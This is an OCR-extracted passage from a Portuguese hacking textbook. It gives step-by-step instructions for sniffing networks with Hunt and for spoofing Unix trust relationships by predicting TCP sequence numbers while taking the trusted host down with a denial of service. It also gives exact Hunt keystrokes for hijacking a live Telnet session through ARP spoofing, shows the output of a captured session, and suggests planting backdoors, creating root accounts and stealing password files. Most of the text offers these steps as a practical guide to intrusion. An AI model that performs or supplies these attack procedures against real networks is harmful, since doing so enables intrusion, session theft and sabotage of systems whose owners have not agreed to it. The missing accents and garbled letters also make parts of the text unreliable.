a "Coitada". Abra uma janela do DOS e digite telnet 192.168.1.2. Se tudo estiver certo, vai aparecer a tela de login da mquina "Coitada" na janela de Telnet
da mquina Windows. Na mquina Unix, volte ao Hunt e escolha a opo "I"
novamente. Mgica: apareceu a conexo entre 192.168.1.1 e 192.168.1.2.A
porta de origem alta (como deveria ser, leia o captulo Redes 11e a RFCI700),
e a de destino a 23 - a porta do servio Telnet. Vamos, ento, pedir ao Hunt
que mostre o trfego para ns. Escolha a opo "w" (watch), escolha qual conexo quer monitorar e, em seguida, a opo "b" (both).
Volte mquina Windows e d seu login e senha. Se voc observar no Hunt,
essas informaes sero mostradas l. Caso o login seja bem sucedido, o promp
do shell Unix aparecer no Telnet da mquina Windows - e tambm na tela do
Hunt, que est numa mquina que nem participou da transao! Faa vrias
experincias: liste diretrios, edite textos com seu editor favorito ou chame
algum programa - todas essas atividades sero monitoradas pelo Hunt.
Para o Hunt, esse o bsico. Por sua simplicidade, acaba ficando limitado em
possibilidades, mas muito til na maioria dos casos. bvio que h muito
mais a explorar sobre o programa, mas deixo isso como dever de casa. Brinque
com o Hunt por alguns dias, fareje sua rede, leia toda a documentao e procure por mais recursos na Internet. Depois, tente tambm brincar com o Snort, o
Sniffit, o Ethereal e o IPTraf, tanto em Unix como em Windows. Use tambm
algumas das ferramentas simples disponveis nos CDs. Parar uma semana ou
duas para tal seria o desejvel, e s depois disso prossiga a leitura. Valer a
pena - e ser divertido!

Quando a caa v
o Hunt um timo (e didtico...)

sniffer, mas tem um problema

insolvel

para os modelos clssicos de sniffers: no ustrapassa sniffers ou switches. Para


as redes comutadas, necessrio utilizar sniffers apropriados, que faam ARP
Spoofmg ou, pelo menos, MAC Flood.
Dois sniffers o fazem de forma magistral: Ettercap e Dsniff. J falamos sobre
ARP Spoofmg e MAC Flood h algumas pginas. Estude a documentao e experimente ambos os programas. Adicionalmente, sugerin}os que o leitor procure mais informaes sobre os seguintes mtodos de sniffmg:
~ SSL Spoofmg (falseando ou manipulando certificados digitais);
~ DNS Spoofing (desviando o trfego Web para servidores falsos);
~ Snarfmg (uma maneira de "pentear" os pacotes TCP/UDP para extrair deles apenas a informao que mostrada na tela da vtima: e-mail, mensagens
instantneas, pginas da web...).

1285 I
] Ataque,defesa e contra-ataque:Invaso

I Universidade

H4CK3R I

Who can you trust?


Just say enough is enough / Oh I gotcha / W'ho who who can you trust7
Urna maneira
de se conseguir um Spoofing mais efetivo atravs das
relaes de confiana (ou trust relations) entre computadores.
Isso permite
que um computador
possa ter acesso a vrios recursos fazendo login em
apenas um sistema.

Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui
relao de confiana com outras mquinas (vamos cham-Ias "TI", "T2", "T3"
etc.). Se o usurio logar-se na mquina S, automaticamente ter acesso a recursos das mquinas "T". Enquanto essa facilidade "quebra um galho" para administradores de rede e permite que usurios loguem-se em apenas um sistema
para ter acesso a vrios, se um hacker conseguir fazer-se passar pela mquina
que tem a confiana poder ter acesso a todas as outras, que "confiam" nela.
Tanto sistemas Unix quanto Windows (e tambm Novell...) possuem facilida. des parecidas. O Windows 2000 possui um recurso chamado Advanced
Directory Service (ou ADS), que detm o cadastro de todos os usurios e mquinas da rede e as relaes entre eles. O usurio, ao logar-se em um domnio
Windows, tem seu nome e senha comparados com os do ADS e, caso aceitos,
todos os servios so disponibilizados.
A Novell possui um produto chamado eDirectory (www.novell.com/pt-br/
products/edirectory) baseado em um ncleo, o Novell Directory Service ou
NDS. O software opera da mesma forma que o ADS da Microsoft, com um
diferencial: no est restrito aos produtos Novell. Na realidade possvel, atravs do eDirectory, criar conexes para todos os tipos de plataformas de software

7. '~penas diga que j teve o bastante / Hehe, eu pegei voc / Em quem, em quem, em quem voc pode
confiar?"JoanJett, Who can you trust. Do album "Cherry Bomb, de 1995.

12861
Ataque, defesa e contra-ataque:

Invaso [

Universidade 3ano

e hardware imaginveis, incluindo a Unices, Windows e mesmo sistemas de


grande porte.
Tanto o eDirecory quanto o ADS baseiam-se num padro chamado
Lightwheight Directory, Access Protocol ou LDAP. H verses do LDAP disponveis para diversos sabores de Unix. Uma das mais famosas o OpenLDAP
(www.openldap.org). verso livre, gratuita e de cdigo aberto. O LDAP uma
forma segura de prover, para aplicaes Unix (e tambm Windows e
Macintosh...), o chamado sing1e-sign-on(ou log-se apenas uma vez) e ter acesso
a vrios recursos disponveis em pontos distantes da rede.
Mas os sistemas Unix possuem dois antepassados desses servios: o NIS
(Network Information Service) e o famigerado Unix Trust. Por sua idade, ambos so extremamente inseguros e facilmente hackeveis. Falaremos do NIS
mais para frente, j que sua falha no se trata de IP Spoofmg.
O Unix possui uma srie de comandos, todos iniciando em "r" (de remote) que
permitem que diversos sistemas possam ser operados sem que seja preciso autenticar-se em cada um deles. Imagine, por exemplo, que o usurio est logado
na mquina A.A mquina B confia em A, portanto permitir que os comandos "r"
sejam executados nela tambm. Por exemplo, se o usurio da mquina A emitir o
comando rlogin IP.DE.B,ser presenteado com um shell da mquina B sem que
seja necessrio fornecer usurio ou senha. B confia em A, ento B confia nos
usurios de A... Da mesma forma, h os comandos rsh (remote shell - permite a
execuo de apenas um comando), rcp (remote copy), rmail (l e-mails no outro
sistema) entre outros. Para que seja permitida a execuo dos comandos, necessrio que o IP de A esteja contido no arquivo /etc!hosts.equiv de B.Todas as
mquinas cujo IP esto em /etc!hosts.equiv de B so de confiana para B.Alm
desse arquivo, cada usurio de B pode ter, em seu prprio !home, uma lista de
mquinas nas quais confia, guardada no arquivo .rhosts.

Confiana

letc/hosts.equiv
-IP.DE.A
-IP.DE.H

No exemplo acima, todas as mquinas "S"e "T" so Unix.As estaes podem


ser qualquer coisa. Em cada uma das mquinas "T" mostradas, h um arquivo, o
/etc!hosts.equiv, contendo o IP de "S".Assim, todos os usurios que se logarem
em "S"podero ter acesso aos recursos das mquinas "T". possvel crial shell
scripts com os r-comandos, por exemplo, para automatizar o processo e facilitar a vida desses usurios.

12871
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Mas o que acontece quando usamos os r-comandos? O usurio est logado


em "s" e, por meio de um comando rlogin, conseguiu um shell de "T3" sem que
fossem solicitados um usurio e uma senha vlidos em "T3". Ocorre que, na
prtica, o usurio est logado em "T3", e todas as suas aes sero originadas
de "T3" (e no de "s" ou de "H", sua estao de trabalho...). Se o invasor usar
algum scanner contra o site de uma empresa, ou tentar conectar-se por bruteforce a um servio na Internet, ser o IP de "T3" que ser registrado, no o de
"s" e muito menos o de "H".
Agora que a mgica acontece. Se formos usurios j cadastrados em "S",no h
problema. Basta logarmos em "S",dar um rlogin para T3 e us-lo.Mas e se no formos? E mesmo se formos, seremos registrados nos logs de "S",ento o que fazer?
possvel "envenenar" uma relao de confiana entre duas mquinas usando spoofmg, um pouco de sniffing e uma pitada de negao de servio. Imagine uma rede corporativa onde h uma mquina chamada SERVLOGIN,na qual
os usurios sero autenticados, e outras, cada uma com um nome alusivo ao
recurso que ela disponibiliza (por exemplo, IMPRESSORA,FISCAL,INTRANET,
VAX, FINANCEIRO, entre outros...). Todas essas mquinas usam o jetcj
hosts.equiv para "confiar" no julgamento de SERVLOGINno tocante a quais
usurios tm permisso para acessar seus recursos. Imagine tambm que, em
algum lugar ignorado na Internet, h uma mquina "H" que deseja conectar-se
a algum computador interno.

Para realizar a tarefa a contento, temos que partir de algumas premissas:


~ Em primeiro lugar, temos que ter em mente que "H" no est na mesma
LAN que SERVLOGINou qualquer uma das outras mquinas. Pelo contrrio,
est l - beeeem longe - na nuvem da Internet. Por isso mesmo, impossvel
"esnifar" o que ocorre na LAN.
~ De alguma maneira j descobrimos que SERVLOGIN considerado
"confivel" pelos outros servidores. Descobrimos isso porque invadimos IMPRESSORA,por exemplo, ou o prprio SERVLOGIN,e consultamos os arquivos
.rhosts ou jetc!hosts.equiv ou mesmo os logs do sistema, procura de sinais
de conexo por Unix Trust.

12881
Ataque, defesa e contra-ataque:

Invaso

Universidade 3ano

~ Nosso objetivo , ento, traado: queremos que uma das mquinas (por
exemplo, INTRANET)"pense" que "H" , na realidade, SERVLOGIN.Com isso,
teremos um shell em INTRANET,com um IP disposio para usarmos vontade em nossas maldades por a...
Vamos dar uma "receitinha de bolo" para esse ataque. a melhor maneira de
explicar a teoria de cada um dos passos necessrios. Para maior clareza no
texto, chamaremos cada um dos computadores apenas por seus nomes (Le. "H"
em vez de "a mquina H" ou "s" em vez de "o servidor S").
1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impostura (ou seja, sem spoofmg), para INTRANET."H" envia vrios pacotes SYN e
espera pelos ACKs de INTRANET.Baseado nesses ACKs, "H" pode inferir (ou
antes, adivinhar) a progresso de nmeros seqenciais TCP gerados por
INTRANET.Com isso, "H" pode ter uma idia dos nmeros a usar mais pata
frente, quando estiver conectando ao sistema INTRANET.
2. Depois disso (ou simultaneamente, caso o invasor possua outra mquina) lana-se um ataque de negao de servio contra SERVLOGIN. Com
SERVLOGINfora da jogada, impedimos que o mesmo envie um pacote TCP
RST e derrube nossa conexo "spoofada".
3. Usando um dos r-comandos, "H" inicia uma conexo a INTRANETusando
o IP de SERVLOGIN.A INTRANET responde com um ACK para SERVLOGIN,
que est fora de combate devido negao de servio.
4. Agora,a mgica:"H"envia umACK para INfRANET,com o IP de SERVLOGIN
e uma estimativa do nmero seqencial TCP

- calculado pela progresso detecta-

da no passo 1 mais o tempo que o processo todo levou at chegar aqui.


5. Caso tenha acertado na mosca (o hacker possui apenas um tiro...) a comunicao estabelecida e mantida enquanto SERVLOGINestiver fora do ar.
Se tiver errado, o invasor pode repetir a receitinha at acertar.
Algunssistemas so idiotamente fceis de prever a seqncia Tcp, outros nem tanto,
e h uns poucos onde essa seqncia (?) quase aleatria (?!?!??).
A predictabilidade
dela dir se o sistema facilmente hackevel por esse mtodo - ou no.

Lembra daquelas velhas cantigas do tipo "Joo amava Maria que amava Pedro..."?
Pois .No passo 3,"H"iniciouuma conexo com INTRANEffingindo ser SERVLOGIN.
Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker
acertou a seqencia TCp, foi presenteado com um shell de INTRANET.S que
INTRANET"pensa" que quem iniciou a comunicao SERVLOGIN,e manda as
respostas para essa mquina. Resultado:"H" pode emitir comandos, mas no tem a
mnima idia se esto fimcionando ou no - no h feedback na tela.
Enquanto isso pode parecer suficiente para um estrago qualquer (assim como
nas vulnerabilidades discutidas anteriormente, como o estouro de pilha ou os
CGIs "amigos"), o hacker pode usar esse shell (e tambm o do estouro de pilha,
bem como o dos CGIs...) para configurar rapidamente um backdoor em
INTRANET.No se esquea que SERVLOGINest tinto com a negao de servio, mas recobrar os sentidos a qualquer momento e cortar a comunicao

12891

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

(com um TCP RST) entre INTRANETe "H". Entre as coisas que o invasor pode
fazer na mquina INTRANET esto:
~ Colocar o IP de "H" no /etc!hosts.equiv;
~ Criar um usurio com direitos de root no /etc/passwd;
~ Implantar qualquer tipo de backdoor.
H mais opes alm dessas. A partir dessas alteraes, o hacker pode instalar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbolo + +, que faz com que INTRANET confie em qualquer um...) e criar outras
contas no sistema. claro que administradores atentos logo notaro tais mudanas, por isso bom usar essa mquina para rapidamente "Ownar" outras.
No esquea ainda que, por mais engenhoso que o procedimento seja, ferramentas de IDS e auditoria de arquivos logo descobriro a faanha.
Como tarefa para casa, sugerimos ao leitor que procure documentao na
Internet sobre os seguintes tipos de Spoormg:
~ DNS Spoofing
~ Source Routing
~ Proxy Spoofing
~ Daisy-chain Spoormg

Captura de sesses (Hijacking)


Lembro-me das aulas de matemtica da primeira srie do primrio (hoje isso
chamado de Educao Fundamental, mas tudo a mesma coisa...). Problemas
matemticos eram resolvidos dividindo a folha do caderno em trs campos:
sentena matemtica, clculo e resposta. Na sentena matemtica, colocvamos o que fui, anos depois, aprender que se chama forma algbrica da equao
(ou da inequao ou frmula). A sentena matemtica deveria ser algo claro e
bem detalhado, para que a pessoa que fosse ler a resoluo do problema pudesse entend-lo num relance. No campo Clculos, as coisas eram mais livres.
Podamos preencher completamente o espao com clculos e anotaes mantendo, obviamente, alguma "limpeza", seno era nota zero! Na resposta,
nos era permitido colocar apenas o resultado de nossos clculos. Em nossos
estudos sobre invases, podemos colocar, em nossa sentena matemtica, o
seguinte problema: Sniffmg + Spoormg = ? Faamos os clculos, ento, e vejamos no qual isso vai dar.
Nas pginas anteriores vimos que sniffmg um meio de saber o que se passa
numa rede local - mesmo que os dados em trnsito no sejam de nossa conta.
Por outro lado, podemos enviar dados a outros computadores fingindo ser
uma terceira pessoa - isso spoormg. fcil perceber que, combinando essas
duas tcnicas, podemos "roubar" uma sesso entre dois computadores. "Como
assim roubar?", o leitor perguntaria. Uma imagem vale por mil palavras:
1290

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Observe que A, B e H no precisam estar na mesma LAN.H pode estar, com


efeito, na LAN de A, na de B ou em qualquer subrede intermediria. A malha de
roteadores mostrada poderia ser substituda por uma "nuvem" representando a
rede como um todo - poderia mesmo ser a Internet. O importante notar que H
tem de estar em algum ponto pelo qual estejam passando os pacotes entre A e B.
A conexo entre A e B poderia ser qualquer coisa, como uma chamada HTfP ou
correio eletrnico sendo transmitido via SMTP.Capturando uma sesso de conversao por ICQ, por exemplo, podemos continuar conversando com B enquanto ele pensa que somos A. Capturando uma sesso de FTp, 5MB (redes
Microsoft) ou Telnet entre o usurio A e o servidor B, por exemplo, podemos
navegar pelos servidores sem precisar fazer login - A j o fez anteriormente, e B
agora pensa que somos A.Acendeu uma "luzinha" a? Pois , h outras maneiras
de conseguir acesso a sistemas alm do brote force e buffer overflow...
Realmente, por mais que os mecanismos de autenticao sejam seguros (senhas de
mo nica, criptografia, assinaturas digitais, etc.), pode-se capturar uma comunicao qualquer DEPOISque a autenticao foi feita e, assim,pular essa parte chata.As
produtoras de software normalmente gastam milhes em desenvolvimento de esquemas seguros de autenticao e esquecem-se do que, uma vez feita, o sistema ir
SEMPREacreditar que o usurio o mesmo - e, como vimos, nem sempre ...
Outra caracterstica de uma sesso de hijacking que no preciso estimar ou
adivinhar a progresso e a preditabilidade dos nmeros seqenciais TCP.O atacante, estando no meio do caminho entre as duas estaes, tem acesso progresso real dos nmeros seqenciais TCP e pode, portanto, control-Ios quando estiver fazendo se passar por outrem. Em nosso exemplo, H est cuidadosamente
registrando toda a comunicao entre A e B, incluindo a as seqncias TCP.
Na prtica, os passos a serem seguidos so:
1. H deve observar - com tcnicas de sniffmg - a comunicao entre A e B
por um tempo razovel, para determinar o tipo de conexo, o protocolo em
uso (HTTP,SSH,FTp'Telnet, MSN,ICQ...) e a seqncia TCP nos dois sentidos.
Tudo isso deve ser registrado em um arquivo e analisado. Quando a conexo
estiver bem "escarafunchada", decide-se que interessante seqestr-Ia e determina-se os meios para tal, a podemos iniciar a captura.
2. H comea ento - com tcnicas de spoofmg - a "enganar" B, fazendo-o
pensar que H A.A forma mais usual H simplesmente criar trfego entre ele
1291

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

e B, gerando pacotes cujo endereo IP de origem seja o de A. B pensar que os


pacotes vm de A.
3. Uma vez que B aceita comandos de H pensando serem de A, pode-se
controlar B a partir de H. Se for uma sesso de Telnet ou de SSH,H pode operar
o computador B por comandos shell. Se for uma sesso FTp' H pode baixar
arquivos de B que estejam liberados para A - e bloqueados para usurios de
FTP annimo. Se for uma conversao MSN, H pode continuar a conversa com
B fmgindo ser A.
Olhando "por cima", parece que funciona. Mas h um problema: A ainda est
viva e B devolve a ela pacotes TCP com o bit ACK ligado cada vez que H injeta
trfego na linha. A tentar ressincronizar a conexo e responder a B na mesma medida. Alm desses ACKs esprios gerados pelos pacotes injetados por H
na conexo, h ainda os pacotes normais da conexo entre A e B. Isso causar
o que chamamos de tempestade ACK ou ACK storm.
Quando descrevemos, pginas atrs, um
spoofing baseado em
Unix Trusts, retiramos
do ar a mquina
SERVLOGIN (aquela
pela qual queramos
nos fazer passar) por
meio de um ataque do
tipo Negao de Servio. Naquela ocasio, o
fizemos para evitar que SERVLOGINderrubasse a conexo (que afmal no fora
gerada por ela) com um pacote TCP RST.O caso aqui ligeiramente diferente:
A realmente iniciou a conexo entre ela e B. O trfego injetado por H aproveita-se disso e a tempestade de ACKs um efeito colateral indesejado, em vez de
ser um procedimento normal do protocolo TCp' como no caso do RST.
Apesar de ser efetivo naquele caso especfico - no precisvamos de SERVLOGIN
no decorrer da ao -, usar Denial of Service nem sempre desejvel:
~A mquina fora do ar pode voltar a qualquer momento. No h previso de
quando, e certamente

o tempo que ficar desabilitada

ser muito pequeno

-o

suficiente para um ou dois comandos.


~ Se o computador que sofreu o DoS for atendido por algum, ou seja, houver usurios conectados nele - por exemplo, uma estao de trabalho -, o
ataque ser facilmente detectado.
~ Em alguns casos, necessrio que o computador pelo qual queremos nos
fazer passar fique "vivo"

- h recursos que s podem ser destravados por ele,

ou precisamos que o usurio acredite que ainda est conectado.


~ Era imperativo tirar a mquina do ar devido aos TCP RST,que cancelam a
2921
Ataque. defesa e contra-ataque:

Invaso I

Universidade 3ano

conexo correspondente. Aqui no h RST pois o originador da conexo foi realmente - A e no H. A passa a ser necessrio e no indesejado.
~ Negao de Servio algo deselegante - e voc vaidoso, no ?
A resposta est em algumas pginas um pouco mais para trs. Quando fizemos sniffmg ativo, usamos a tcnica de ARP Spoofmg para confundir o switch
e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal,
usamos o programa Hunt em uma configurao man-in-the- middle. Bem, podemos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo
pela mquina que est escutando a rede, podemos controlar a propagao
desses ACKs esprios.
Nessa configurao, fica claro que, como no h problema de tempestade de
ACKs,podemos emitir comandos para a mquina destino (B, em nosso exemplo). Obviamente, quando a conexo entre H e B for encerrada, a diferena
entre os TCP sequence numbers que A envia e que B espera to grande que a
sincronizao entre A e B impossvel - e a conexo entre eles tambm cai.
Programas de Hijack modernos (como o Hunt e o Dsniff) possuem, entretanto,
ferramentas para ressincronizar as conexes, assim uma desconexo gratuita
no ir causar desconfianas.

Selecionando

seus combatentes

claro que h a possibilidade de se fazer tudo isso manualmente. Entretanto,


a maneira mais fcil usar ferramentas especialmente construdas para tal.
Uma delas o Hunt, visto na sesso sobre sniffmg. O Hunt possui duas opes
interessantes: simple hijacke arp/simple hijack. No menu opes, ele oferece
algumas possibilidades tambm muito interessantes, como arp spoof with my
mac (lembram-se do ARP Spoofmg?), learn MAC from IP traffic e switched
environment (ferramentas para enganar bridges e switches).
O Dsniff, outra sute de sniffing comentada anteriormente, tambm possui
ferramentas para captura de sesses. Alm do prprio programa Dsniff (especializado em sniffing), a sute possui as seguintes ferramentas:
Ferramentas de sniffing includas na sute Dsniff:
~ fllesnarf: copia na mquina do hacker os arquivos trafegando em uma
conexo NFS (Network File System) entre dois outros computadores.
~ mailsnarf: reproduz na mquina invasora mensagens de e-mail sendo transmitidas por POP ou SMTP.Com modificaes no cdigo do programa, possveller tambm mensagens IMAP e UUCP.As mensagens so armazenadas
em formato mailbox - legvel por praticamente todos os programas de email existentes.
~ msgsnarf: registra toda a conversao entre duas pessoas que estejam
usando os servios de mensagem instantnea AOL Instant Messenger, ICQ
2000, IRC, MSN e Yahoo.

1293 I

] Ataque.

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

~ urlsnarf: fareja requisies HTTP e as apresenta no formato Common


Log Format ou CLE
Ferramentas de spoofing includas na sute Dsniff:
~ arpspoof: ferramenta para ARP Spoofing.
~ dnsspoof: forja respostas a solicitaes DNS em uma LAN. til para
contornar regras de acesso baseadas no nome do host ou para implementar
diversos ataques tipo man-in-the-middle baseados em DNS.
~ macof: uma ferramenta para MAC Flooding. Inunda a LAN com uma multido de endereos MAC randmicos, fazendo com que bridges e switches
vulnerveis passem a se comportar como hubs - ou seja, deixando passar
todo o trfego indiscriminadamente por todas as portas.
Ferramentas de captura e controle (hijacking) includas na sute Dsniff:
~ tcpkill: derruba a conexo selecionada.
~ tcpnice: controla a velocidade da conexo entre dois ns sem prejudicar
o restante da rede. interessante para reduzir a velocidade de uma conexo
e, com isso, monitor-Ia "ao vivo".
~ sshmitm: age como um intermedirio (uma espcie de proxy) para conexes SSH.Uma vez desviada a conexo (com ferramentas como, por exemplo,
o dnsspoof), o sshmitm pode farejar o trfego procura de logins e senhas e
mesmo capturar a sesso.A poro mitm do nome significa man-in-the-middle.
~ webmitm: age tambm como intermedirio, desta vez para conexes
HTTP/HTTPS (sim, suporta SSL!!!). til para conseguir senhas de acesso a
sites e informaes normalmente inseridas em formulrios como nmeros
de cartes de crdito e informaes "criptografadas".
Alm do Hunt e do Dsniff, h algumas outras ferramentas para seqestro
de sesses. Uma delas, muito conhecida, o Juggenaut (packetstorm.
linuxsecurity .com/new-exploits/1.2.tar.gz).
Outro tambm muito comentado o IP-Watcher,

produto

comercial

(e pago)

da Engarde

Systems

www.engarde.com) . Um detalhe: todos eles so para Unix. No h boas opes de ferramentas para seqestro de sesses que rodem em Windows ou
outras plataformas - neste caso especfico, meu amigo, voc est preso aos
Unix. Uma sada dotar seu Windows de um ambiente Unix simulado como o
Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser preciso instalar tambm as bibliotecas pertinentes a cada um dos softwares dentro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual
PC completa, como o comercial e caro VMWare (www.vmware.com) ou o
livre e gratuito Bochs (bochs.sourceforge.net),
e rodar algum Unix para PC
(Linux, FreeBSD, Solaris) dentro dele.

12941
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Seqestro na prtica
(ou: como me tornei membro do AL QaedaJ
Anteriormente descrevemos uma sesso de sniffmg com o Hunt. Chegamos
ao ponto de verificar os comandos que A emitia para B e ver as respostas que
B enviava para A.Ainda no estvamos exatamente no meio da conversao simplesmente farejvamos o trfego ("p, passam por aqui berrando e no
querem que eu escute...").
Vamos refaz-Ia, desta vez capturando a sesso. Usaremos nossa rede de testes e as mesmas instalaes que usamos em nosso experimento anterior. Usaremos tambm a mesma sesso de Telnet que descrevemos.
Rapidamente relembrando o procedimento j visto, selecione a opo "o"
(options) e adicione uma conn policy, de acordo com os IPs das mquinas cujas
conexes queremos monitorar e, posteriormente, capturar. Digite "1"para ver
se h interfaces "vivas"que obedeam a essa regra (observe o prompt do Hunt).
Depois disso, digite "x" para voltar tela principal e "1"novamente para listar
as conexes existentes que estejam de acordo com as conn policies defmidas.
Selecione "w" (watch) para monitorar uma das conexes, e depois escolha a
conexo de nossa sesso telnet (lembre-se: estamos fazendo um telnet da mquina Windows para a Coitada). Logue-se por Telnet e emita alguns comandos.
Se tudo estiver certo, todos os dados em ambos os sentidos da conexo sero
ecoados no Hunt - que est rodando na estao Unix. At aqui era o que havamos feito.
Note que, se voc estiver em um ambiente de rede segmentado (por exemplo,
h um switch em sua LAN),voc ter de fazer um ARP Spoofmg para engan-Io
- caso contrrio, no conseguir ver as conexes que estejam em outro segmento. O prprio Hunt pode fazer isso. Selecione "d" (daemons) e "a" (arp spoof
+ arp relayer daemon), e configure os endereos IP de origem e destino pelos
quais voc quer fazer ARP Spoofmg (opo "a" - add host to host arp spoot).
Digite "s" para iniciar o daemon e espere alguns minutos. Dependendo do trfego de sua rede e das estaes em questo, pode demorar de um a 20 minutos
para que o switch passe a distribuir pacotes indiscriminadamente.
Com ou sem switch, voc est pronto para seu primeiro seqestro. Volte ao
menu principal e escolha a opo "a" (arp/simple hijack). Ser perguntado
qual das conexes deseja capturar. Selecione a conexo de nosso telnet e responda s perguntas sobre conexo e apresentao dos dados.A tela de captura
, em um primeiro momento, idntica tela de observao (watch). O comportamento tambm o mesmo, por enquanto: tudo o que o usurio da mquina
Windows fizer ser ecoado para o Hunt antes de ser enviado "Coitada", o
mesmo ocorrendo com a resposta de "Coitada" para Windows.
Isso ocorrer indefrnidamente, at que o Hacker deseje capturar a conexo.
Para tal, basta pressionar ControI+C. Na tela, aparecer a mensagem:
- press
any key>
1295

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Assim que wna tecla qualquer for pressionada,


isso:

a tela do Hunt se parecer com

- press any key>


you took over the connection
CTRL-] to break

Pronto! J estamos em modo interativo com a sesso capturada. A mquina


Windows no tem mais controle sobre a conexo, tudo o que o usurio digitar
ser ecoado no Hunt na cor verde, mas no ser enviado Coitada. Por outro
lado, tudo o que o Hacker digitar no Hunt ser enviado mquina Coitada.
Como uma sesso de Telnet, digitar comandos de shell no Hunt resultar em
sua execuo em Coitada.
- press any key>
you took over the connection
CTRL-] to break
ls
ls
Comandos digitados pelo
ls
usurio que perdeu a conexo
exit
cazzo!
coitada [/home/usuario]
Desktop

README

>

Xresources

ls
Xsetup

aliases.sh

chooser

tmp

coitada [/home/usuario] > W


1:44am up 7 days, 5:44, 4 users, load average: 0.99, 1.22, 1.20
LOGIN@
IDLE
JCPU
PCPU WHAT
USER
TTY
FROM
Wed 3pm 3:48m 0.07s 0.07s -bash
root
ttyl
192.168.1.1
1:07am
O.OOs 0.03s O.Ols w
usuario pts/2
29May03 7days O.OOs
?
root
pts/O
Wed 3pm 9:28m 0.15s 0.15s /bin/bash
root
pts/l

coitada [/home/usuario]
>

Na tela da mquina Windows ser mostrada a seguinte informao:


$ls
$ls
$ls
$exit
$cazzo!

Ou seja, o usurio tem wna realimentao do que digitou, e nenhuma mensagem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na
verdade, fomecida pelo Hunt. Ele inclui o carter $ para dar uma impresso de
prompt do shell - lie and deceive...

2961
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Com controle sobre "Coitada", o hacker pode tentar o que quiser: colocar um
backdoor, apagar tudo, fazer download de documentos e arquivos importantes
(inclusive o arquivo de senhas), usar a mquina como trampolim para outro ataque (mais uma maneira de spoofing...), tentar ganhar acesso irrestrito, etc, etc, etc.
muito importante observar que usamos um servidor Unux como exemplo, mas o
procedimento o mesmo para qualquer plataforma. Poderamos tranqilamente
ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um
servidorWmdows 2000 com ns e Telnet habilitado (ou FIP ou HTTP ou POP...).
Quando cansar de brincar, o invasor pressiona Control+] para sair.Ele ter, ainda,
a opo de derrubar a conexo (e o usurio na mquina Wmdows receber uma
falsa mensagem de problemas com a rede) ou ressincroniz-la.O Hunt inteligente
nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da mquina
Windows e da prpria mquina Unix, na qual est o programa. Dessa forma, o Hunt
sabe quantos pacotes Wmdows tem de enviar para o "limbo" antes de permitir sua
reconexo mquina Coitada.Por exemplo, se o Hunt enviou 45 pacotes TCP para
a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root: power failure - try to type 45 characters

ser mostrada na tela de Windows. Assim que o usurio digitar a 45a tecla, os
nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode continuar normalmente - e, na maioria dos casos, o usurio em questo sequer
perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no
significa todas, e um usurio que conhea o comportamento do Hunt facilmente identificar a falcatrua e avisar a autoridade competente.
Tarefa para. casa: tente fazer exatamente o mesmo com o Dsniff (leia a documentao!). Voc ver que, por no ser uma ferramenta integrada como o
Hunt, mas um conjunto de pequenas ferramentas de uso especfico, ter de
usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo
Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ataque com um shell script que faa uso delas.

Outros mtodos de desviar trfego


H muitas outras formas de colocar-se na posio de man-in-the-middle e fazer
o trfego passar por seu computador antes de chegar ao destino. Algumas delas
incluem desviar trfego web por meio de DNS Spoofmg. H ferramentas (como
o dnsspoof, incluso na sute Dsnift) que podem ser programadas para enviar
falsas respostas a requisies DNS. Por exemplo, o site da Digerati est hospedado no host 200.246.179.102. possvel usar o dnsspoof para fazer um intemauta
qualquer acreditar que, em vez disso, o domnio digerati.com.br est em
200.230.xxx.yyy. L pode haver um site falso ou um sniffer que grave as informaes passadas e redirecione o trfego ao site verdadeiro.
Outra forma de desviar o trfego bastante empregada faz uso do Netcat uma ferramenta poderosssima e presente em todos os Unix e no Windows.

12971
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Veremos os diversos usos do Netcat no prximo captulo.


Uma ltima dica: h um excelente documento em packetstorm.linux
security.com/new-exploits/ssh-insertion-attack.txt
que discorre sobre captura
de sesses usando o protocolo Secure Shell ou SSH.O SSH, grosso modo, um
primo do Telnet cuja conexo toda criptografada. Bem, esse documento ensina a "meter-se" nessa conexo que muitos consideram segura.

Negao de servio (DeniaL of Service)


Nem sempre queremos obter acesso a algum sistema. Muitas vezes, por vingana, terrorismo ou simples depredao, queremos apenas derrubar um site, sistema
ou rede e causar o mximo possvel de prejuzos vtima. Tal procedimento
chamado atualmente de Negao de Servio porque o resultado , via de regra, a
indisponibilidade temporria ou permanente do servio que estamos atacando.
Outras vezes um Denial of Service (ou DoS, como normalmente chamado)
necessrio como parte de um ataque maior, como vimos em nossos procedimentos de spoofing neste mesmo captulo. De uma forma ou de outra, um
ataque do tipo DoS o cibercrime mais deselegante que se pode cometer -
como "partir para a ignorncia", como diziam os antigos. Sem entrar em detalhes sobre as conseqncias mercadolgicas, polticas e financeiras de um ataque DoS bem-sucedido, podemos consider-Io to mortal quanto moralmente
baixo, da mesma forma que uma briga de rua o .
Para entender a negao de servio, imagine qualquer sistema conectado
Internet que se queira derrubar como sendo um servio "no mundo real"; floricultura, pizzaria, polcia, defesa civil, etc... Imagine, por exemplo, que voc
queira colocar fogo em um prdio pblico e ter certeza de que no ter seus
